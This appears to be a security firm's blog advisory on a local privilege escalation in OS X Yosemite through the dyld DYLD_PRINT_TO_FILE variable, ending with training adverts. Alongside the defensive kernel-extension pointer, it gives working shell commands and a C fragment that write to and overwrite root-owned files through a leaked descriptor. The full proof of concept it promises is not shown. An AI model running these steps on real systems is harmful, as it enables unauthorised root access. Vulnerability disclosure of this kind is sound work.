The DYLD_PRINT_TO_FILE environment variable can be used for local privilege escalation in OS X Yosemite.

Introduction With the release of OS X 10.10 Apple added some new features to the dynamic linker dyld. One of these features is the new environment variable DYLD_PRINT_TO_FILE that enables error logging to an arbitrary file. DYLD_PRINT_TO_FILE This is a path to a (writable) file. Normally, the dynamic linker writes all logging output (triggered by DYLD_PRINT_* settings) to file descriptor 2 (which is usually stderr). But this setting causes the dynamic linker to write logging output to the specified file. When this variable was added the usual safeguards that are required when adding support for new environment variables to the dynamic linker have not been used. Therefore it is possible to use this new feature even with SUID root binaries. This is dangerous, because it allows to open or create arbitrary files owned by the root user anywhere in the file system. Furthermore the opened log file is never closed and therefore its file descriptor is leaked into processes spawned by SUID binaries. This means child processes of SUID root processes can write to arbitrary files owned by the root user anywhere in the filesystem. This allows for easy privilege escalation in OS X 10.10.x. At the moment it is unclear if Apple knows about this security problem or not, because while it is already fixed in the first betas of OS X 10.11, it is left unpatched in the current release of OS X 10.10.4 or in the current beta of OS X 10.10.5. Nevertheless we have released the source code of a kernel extension and a digitally signed version of it that protects users of OS X 10.10.x from this vulnerability. You can download it from GitHub https://github.com/sektioneins/SUIDGuard.

The Vulnerability When Apple changed the dynamic linker code for OS X 10.10 to support the new DYLD_PRINT_TO_FILE environment variable they added the following code directly to the _main function of dyld. As you can see from this code the value of the environment variable is directly used as filename for the opened or created logging file. const char * loggingPath = _simple_getenv ( envp , "DYLD_PRINT_TO_FILE" ); if ( loggingPath != NULL ) { int fd = open ( loggingPath , O_WRONLY | O_CREAT | O_APPEND , 0644 ); if ( fd != - 1 ) { sLogfile = fd ; sLogToFile = true ; } else { dyld :: log ( "dyld: could not open DYLD_PRINT_TO_FILE='%s', errno=%d

" , loggingPath , errno ); } } The problem with this code is that it does not come with any safeguards that are required when adding new environment variables to the dynamic linker. Normally for security reasons the dynamic linker should reject all environvent variables passed to it in case of restricted files. This is automatically handled when new environment variables are added to the processDyldEnvironmentVariable() function. However in the DYLD_PRINT_TO_FILE case the code was directly added to the _main function of dyld. Because of this oversight dyld will accept DYLD_PRINT_TO_FILE even for restricted binaries, like SUID root binaries. This is obviously a problem, because it allows the creation or opening (for writing) of any file in the filesystem. And because the log file is never closed by dyld and the file is not openes with the close on exec flag the opened file descriptor is inherited by child processes of SUID binaries. This can be easily exploited for privilege escalation. Apple has fixed this vulnerability in the OS X 10.11 beta by moving the code for the DYLD_PRINT_TO_FILE (and another new environment variable) to the processDyldEnvironmentVariable() function, which automatically protects them. This might however be the result of a code cleanup and not based on realizing the security implications. However if this is the result of a security fix then Apple has once again shown how unsupported their current versions become the moment a new beta is in development.

Testing Testing if your system is vulnerable to this attack or not is quite easy and can be done directly from the commandline. Just enter the following into a shell: $ EDITOR = /usr/bin/true DYLD_PRINT_TO_FILE = /this_system_is_vulnerable crontab -e Afterward the root directory of your filesystem should show the created file with root permissions. $ ls -la / total 317 ... drwxr-xr-x@ 2 root wheel 68 Sep 9 2014 Network drwxr-xr-x+ 4 root wheel 136 Jul 15 16 :03 System drwxr-xr-x 6 root admin 204 Jul 17 17 :39 Users drwxrwxrwt@ 4 root admin 136 Jul 21 07 :28 Volumes drwxr-xr-x@ 39 root wheel 1326 Jul 20 19 :26 bin drwxrwxr-t@ 2 root admin 68 Sep 9 2014 cores dr-xr-xr-x 3 root wheel 4156 Jul 20 20 :26 dev lrwxr-xr-x@ 1 root wheel 11 Jul 15 15 :55 etc -> private/etc dr-xr-xr-x 2 root wheel 1 Jul 21 07 :34 home -rw-r--r--@ 1 root wheel 313 Apr 28 21 :11 installer.failurerequests dr-xr-xr-x 2 root wheel 1 Jul 21 07 :34 net drwxr-xr-x@ 6 root wheel 204 Jul 15 16 :08 private drwxr-xr-x@ 61 root wheel 2074 Jul 20 19 :26 sbin -rw-r--r-- 1 root wheel 0 Jul 21 17 :22 this_system_is_vulnerable <---- lrwxr-xr-x@ 1 root wheel 11 Jul 15 15 :56 tmp -> private/tmp If you can see this file then you are vulnerable to this problem.

Protection Before going into the exploitation of this problem please be reminded that because it will likely take months for Apple to react to this issue we released a kernel extension that protects from this vulnerability by stopping all DYLD_ environment variables form being recognized by the dynamic linker for SUID root binaries. In addition to that it adds a mitigation against a common trick to circumvent O_APPEND restrictions on file descriptors. You can get the easily installable and digitally signed kernel extension at: https://www.suidguard.com/

Exploitation 1 After having established that you are vulnerable to the bug in question you might wonder how this can lead to a full privilege escalation exploit. While there might be a way to escalate privileges by just creating an empty file in some place our bug in question allows for more control, because it leaks the opened file descriptor to child processes of the SUID binaries that we execute. We can demonstrate this again with a few simple shell command lines. $ DYLD_PRINT_TO_FILE = /this_system_is_vulnerable su <some_username> Password: bash-3.2$ ls -la /this_system_is_vulnerable -rw-r--r-- 1 root wheel 0 Jul 21 17 :22 /this_system_is_vulnerable bash-3.2$ echo "Test 1" > & 3 bash-3.2$ echo "Test 2" > & 3 bash-3.2$ cat /this_system_is_vulnerable Test 1 Test 2 bash-3.2$ ls -la /this_system_is_vulnerable -rw-r--r-- 1 root wheel 14 Jul 21 17 :36 /this_system_is_vulnerable As you can see the file descriptor 3 that is bound to the opened log file is leaked to the spawned shell and can be directly written to. As you can see an unprivileged user has just appended data to a root owned file. This could be any file on the filesystem which makes privilege escalation quite easy. NOTE: in this example we used su which required entering our own password, but we could use the same crontab trick as before and just put a malicious shell script doing the same into the EDITOR environment variable.

Exploitation 2 So far we have demonstrated that we can append arbitrary data to the end of any file on the filesystem. This is already bad enough, but so far we have been limited by the O_APPEND flag that stopped us from just overwriting a file with whatever we want. This is however a smaller problem than most people believe, because the O_APPEND flag on file descriptors can be disabled by anyone who has control over the file descriptor with a simple call of the fcntl(F_SETFL) system call. The following example C code shows how this allows writing anything into any file. int main ( int argc , char ** argv ) { int fd ; char buffer [ 1024 ]; /* disable O_APPEND */ fcntl ( 3 , F_SETFL , 0 ); lseek ( 3 , 0 , SEEK_SET ); strcpy ( buffer , "anything - anything - anything" ); write ( 3 , & buffer , strlen ( buffer )); When you use the code above e.g. as EDITOR for crontab then this allows you to overwrite any file with anything.

Exploitation 3 When you can write anything to any file on the filesystem the first idea will obviously be to overwrite another SUID root binary with your own code to create yourself a root shell. The only problem you might be aware of is some information you will find in the manpage of the write system call in OS X. write(2) manpage If the real user is not the super-user, then write() clears the set-user-id bit on a file. This prevents penetration of system security by a user who ''captures'' a writable set-user-id file owned by the super-user. This excerpt from the manpage if write(2) makes it sound like you cannot use this attack to overwrite SUID root binaries. But you should never believe manpages, because when you try it you will realize that you can overwrite arbitrary SUID root binaries on your filesystem with this attack. The mitigation Apple has in the kernel does not trigger in our case, because the logging file is opened by the SUID root binary and therefore the assigned file credentials are those of the SUID root binary. Therefore the write to the filesystem will believe the write is executed by the super-user and therefore the SUID bit is not cleared. As a proof that this is indeed possible please find the full POC exploit attached at the end of a post just after a little advertisement for our upcoming FALL OS X and iOS training courses.

Training Advertisement Before I share a working POC exploit for this problem with you, let me finish this post by highlighting that SektionEins is organizing several OS X and iOS related trainings later this year. If you enjoyed this blog post then especially the OS X and iOS Kernel Internals for Security Researchers Training* in October should be of interest for you. Here is a list of the currently planned training courses: OS X Kernel Internals for Security Researchers Training Dates: 5 Days, 26th-30th October 2015 Location: Le Meridien Parkhotel, Frankfurt, Germany Instructor: Stefan Esser Language: English Capacity: 15 More Info: https://www.sektioneins.de/en/blog/15-07-06-trainingFrankfurt.html

iOS Kernel Exploitation Training in Frankfurt, Germany Dates: 5 Days, 23rd-27th November 2015 Location: Le Meridien Parkhotel, Frankfurt, Germany Instructor: Stefan Esser Language: English Capacity: 15 More Info: https://www.sektioneins.de/en/blog/15-06-08-trainingFrankfurt.html

Development of Secure iOS Applications Training Dates: 3 Days, 21th-23rd October 2015 Location: Le Meridien Parkhotel, Frankfurt, Germany Instructor: Stefan Horst, Stefan Esser Language: English Capacity: 15 More Info: https://www.sektioneins.de/en/blog/15-06-07-ios-dev-training-october.html

